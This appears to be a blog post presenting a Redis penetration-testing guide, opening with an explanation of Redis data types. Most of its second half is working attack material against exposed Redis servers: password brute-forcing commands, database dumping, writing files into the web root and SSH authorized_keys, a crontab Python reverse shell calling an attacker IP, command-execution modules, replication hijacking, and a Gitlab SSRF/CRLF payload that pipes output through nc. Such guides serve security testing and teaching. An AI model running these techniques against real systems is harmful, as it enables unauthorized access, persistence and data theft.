Home Redis Pentesting Best Practices
Post
Cancel

Redis Pentesting Best Practices

Redis

Redis usually uses port 6379

What is Redis?

Redis is an open-source, in-memory data structure store used as a database, cache, and message broker. Redis was created by Salvatore Sanfilippo in 2006 and is written in C.

It is a NoSQL advanced key-value data store, and is often referred to as a data structure server because its keys contain strings, hashes, lists, sets, sorted sets, bitmaps, and hyperloglogs. Redis’ read and write operations are very fast because it stores data in memory. Data can also be stored on the disk or written back to the memory.

Since Redis stores its data in memory, it is most commonly used as a cache. Some large organizations that use Redis are Twitter, GitHub, Instagram, Pinterest, and Snapchat.

1
2
PORT     STATE SERVICE               VERSION
6379/tcp open  redis                 Redis key-value store 4.0.11 (64 bits)

Redis Data Types

Redis is a key-value store, but it supports many types of data structures as values other than strings. The key in Redis is a binary-safe string, with a max size of 512 MB.

Let’s discuss the data types that are supported in values.

String

A string in Redis is a sequence of bytes. They are binary safe, so they have a known length that is not determined by any terminating characters. You can store up to 512 megabytes in a Redis string. It can store any type of data, like text, integers, floats, videos, images, or audio files.

1
2
3
4
redis 127.0.0.1:6379> SET name "educative" 
OK 
redis 127.0.0.1:6379> GET name 
"educative"

In this example, SET and GET are Redis commands, which we will discuss later. name is the key, and educative is the string value that we are storing.

List

In Redis, lists are lists of strings that are sorted by an insertion order, so the elements are stored in a linked list. You can add elements to either on the head or tail. If we need to insert an element in a list with 500 records, then it will take the same amount of time as adding the element to a list of 50,000 records.

Here are some examples operations for list the resulting lists:

1
2
3
LPUSH mylist x   # now the list is "x"
LPUSH mylist y   # now the list is "y","x"
RPUSH mylist z   # now the list is "y","x","z" (RPUSH was used this time)

Sets

Sets in Redis are unordered collections of strings. This value type is similar to List, but sets don’t allow for duplicates, and the elements are not sorted in any order. You can add or remove members in OO(1) time complexity.

Sets are useful when we want to store data where uniqueness matters. For example, storing the number of unique visitors to a website.

Sorted Sets

We can sort elements with a Sorted Set value type. Each element will is associated with a number, which we call a score. This determines the order.

For example, if we have a key called vegetables, and we want to store carrot and celery as the value. The score of carrot is 10, and celery is 15. Carrot will be first, followed by celery.

If the score of two different elements is the same, then we check which String is lexicographically bigger.

Hash

In Redis, the hash value type is a field-value pair. They are used to represent objects, but can store many elements and are useful for other tasks as well. A hash takes very little space, so you can store millions of objects in a small hash instance.

In fact, a hash can store up to (2^32)-1 field-value pairs, which equates to more that 4 billion.

Say we want to store the information about the grades of students. The subject can be the key. The value can be a field-value pair, with the field being the student name and the value being the grade of each student.

Here is another example to familiarize you with a Redis hash.

1
2
3
4
HMSET user:1000 username antirez password P1pp0 age 34
HGETALL user:1000
HSET user:1000 password 12345
HGETALL user:1000

Redis Pentesting

https://www.shodan.io/static/img/favicon.png Shodan search query :
port:6379

Redis is a text based protocol, you can just send the command in a socket and the returned values will be readable. Also remember that Redis can run using ssl/tls (but this is very weird).

In a regular Redis instance you can just connect using nc or you could also use redis-cli:

1
2
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

The first command you could try is info. It may return output with information of the Redis instance or something like the following is returned:

1
-NOAUTH Authentication required.

In this last case, this means that you need valid credentials to access the Redis instance.

Automatic Enumeration

Some automated tools that can help to obtain info from a redis instance:

1
2
nmap --script redis-info -sV -p 6379 10.10.x.x
msf> use auxiliary/scanner/redis/redis_server

Redis Credentials

By default Redis can be accessed without credentials. However, it can be configured to support only password, or username + password.

It is possible to set a password in redis.conf file with the parameter requirepass or temporary until the service restarts connecting to it and running: config set requirepass p@ss$12E45. Also, a username can be configured in the parameter masteruser inside the redis.conf file.

If only password is configured the username used is “default”. Also, note that there is no way to find externally if Redis was configured with only password or username+password.

In cases like this one you will need to find valid credentials to interact with Redis so you could try to brute-force it.

Redis Password Authentication Bruteforcing Methods

1
2
3
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt <IP> redis

In case you found valid credentials you need to authenticate the session after establishing the connection with the command:

1
AUTH <username> <password>

Valid credentials will be responded with: +OK

Authenticated enumeration

If the Redis instance is accepting anonymous connections or you found some valid credentials, you can start enumerating the service with the following commands:

1
2
3
4
5
6
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Other Redis commands can be found here and here.

Note that the Redis commands of an instance can be renamed or removed in the redis.conf file. For example this line will remove the command FLUSHDB:

1
rename-command FLUSHDB ""

Dumping Database

Inside Redis the databases are numbers starting from 0. You can find if anyone is used in the output of the command info inside the “Keyspace” chunk:

Untitled

In that example the database 0 and 1 are being used. Database 0 contains 4 keys and database 1 contains 1. By default Redis will use database 0. In order to dump for example database 1 you need to do:

1
2
3
4
5
6
SELECT 1
[ ... Indicate the database ... ]
KEYS * 
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

Dump the database with npm redis-dump or python redis-utils

Common Redis Vulnerabilities

Webshell

From: http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html

You must know the path of the Web site folder:

1
2
3
4
5
6
7
8
9
root@Urahara:~ redis-cli -h 10.10.x.x
10.10.x.x:6379> config set dir /usr/share/nginx/html
OK
10.10.x.x:6379> config set dbfilename redis.php
OK
10.10.x.x:6379> set test "<?php phpinfo(); ?>"
OK
10.10.x.x:6379> save
OK

If the webshell access exception, you can empty the database after backup and try again, remember to restore the database.

SSH

In the output of config get * you could find the home of the redis user (usually /var/lib/redis or /home/redis/.ssh), and knowing this you know where you can write the authenticated_users file to access via ssh with the user redis. If you know the home of other valid user where you have writable permissions you can also abuse it:

Generate a ssh public-private key pair on your pc:

1
ssh-keygen -t rsa

Write the public key to a file :

1
(echo -e "\n\n"; cat ./.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt

Import the file into redis :

1
cat foo.txt | redis-cli -h 10.10.x.x -x set crackit

Save the public key to the authorized_keys file on redis server:

1
2
3
4
5
6
7
root@Urahara:~ redis-cli -h 10.10.x.x
10.10.x.x:6379> config set dir /home/test/.ssh/
OK
10.10.x.x:6379> config set dbfilename "authorized_keys"
OK
10.10.x.x:6379> save
OK

Finally, you can ssh to the redis server with private key :

1
ssh -i id_rsa test@10.10.x.x

This technique is automated here:

GitHub - iw00tr00t/Redis-Server-Exploit: This will give you shell access on the target system if redis server is not configured properly and faced on the internet without any authentication

Crontab

10.10.z.z = Attacker, 10.10.x.x = victim redis

1
2
3
4
5
6
7
8
root@Urahara:~ echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.z.z\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.10.x.x -x set 1
OK
root@Urahara:~ redis-cli -h 10.10.x.x config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~ redis-cli -h 10.10.x.x config set dbfilename root
OK
root@Urahara:~ redis-cli -h 10.10.x.x save
OK

The last example for Ubuntu, for Centos, the above command should be:

1
redis-cli -h 10.10.x.x config set dir /var/spool/cron/

This method can also be used to earn bitcoin :yam

Load Redis Module

Following the instructions from link below you can compile a redis module to execute arbitrary commands.

GitHub - n0b0dyCN/RedisModules-ExecuteCommand: Tools, utilities and scripts to help you write redis modules!

Then you need some way to upload the compiled module Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so List loaded modules to check it was correctly loaded: MODULE LIST Execute commands:

1
2
3
4
5
6
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
Unload the module whenever you want: MODULE UNLOAD mymodule

LUA sandbox bypass

Here you can see that Redis uses the command EVAL to execute Lua code sandboxed. In the linked post you can see how to abuse it using the dotfile function, but apparently this isn’t no longer possible. Anyway, if you can bypass the Lua sandbox you could execute arbitrary commas on the system. Also, from the same post you can see some options to cause DoS.

Master-Slave Module

The master redis all operations are automatically synchronized to the slave redis, which means that we can regard the vulnerability redis as a slave redis, connected to the master redis which our own controlled, then we can enter the command to our own redis.

1
2
3
4
5
6
7
8
9
10
11
master redis : 10.10.y.y #(Hacker's Server)
slave  redis : 10.10.x.x #(Target Vulnerability Server)

#A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.1.0.52 -p 6379
slaveof 10.10.y.y 6379

#Then you can login to the master redis to control the slave redis:
redis-cli -h 10.10.y.y -p 6379
set mykey hello
set mykey2 helloworld

SSRF talking to Redis

If you can send clear text request to Redis, you can communicate with it as Redis will read line by line the request and just respond with errors to the lines it doesn’t understand:

1
2
3
4
5
6
7
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Therefore, if you find a SSRF vuln in a website and you can control some headers (maybe with a CRLF vuln) or POST parameters, you will be able to send arbitrary commands to Redis.

Example: Gitlab SSRF + CRLF to Shell

In Gitlab11.4.7 were discovered a SSRF vulnerability and a CRLF. The SSRF vulnerability was in the import project from URL functionality when creating a new project and allowed to access arbitrary IPs in the form 0:0:0:0:0:ffff:127.0.0.1 (this will access 127.0.0.1), and the CRLF vuln was exploited just adding %0D%0A characters to the URL.

Therefore, it was possible to abuse these vulnerabilities to talk to the Redis instance that manages queues from gitlab and abuse those queues to obtain code execution. The Redis queue abuse payload is:

1
2
3
4
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.x.x 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

And the URL encode request abusing SSRF and CRLF to execute a whoami and send back the output via nc is:

1
2
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
#For some reason (as for the author of https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ where this info was took from) the exploitation worked with the git scheme and not with the http scheme.
This post is licensed under CC BY 4.0 by the author.

SMB Pentesting Best Practices

POP3 Pentesting Best Practices

Comments powered by Disqus.

Powered by 0xhav0c © 2022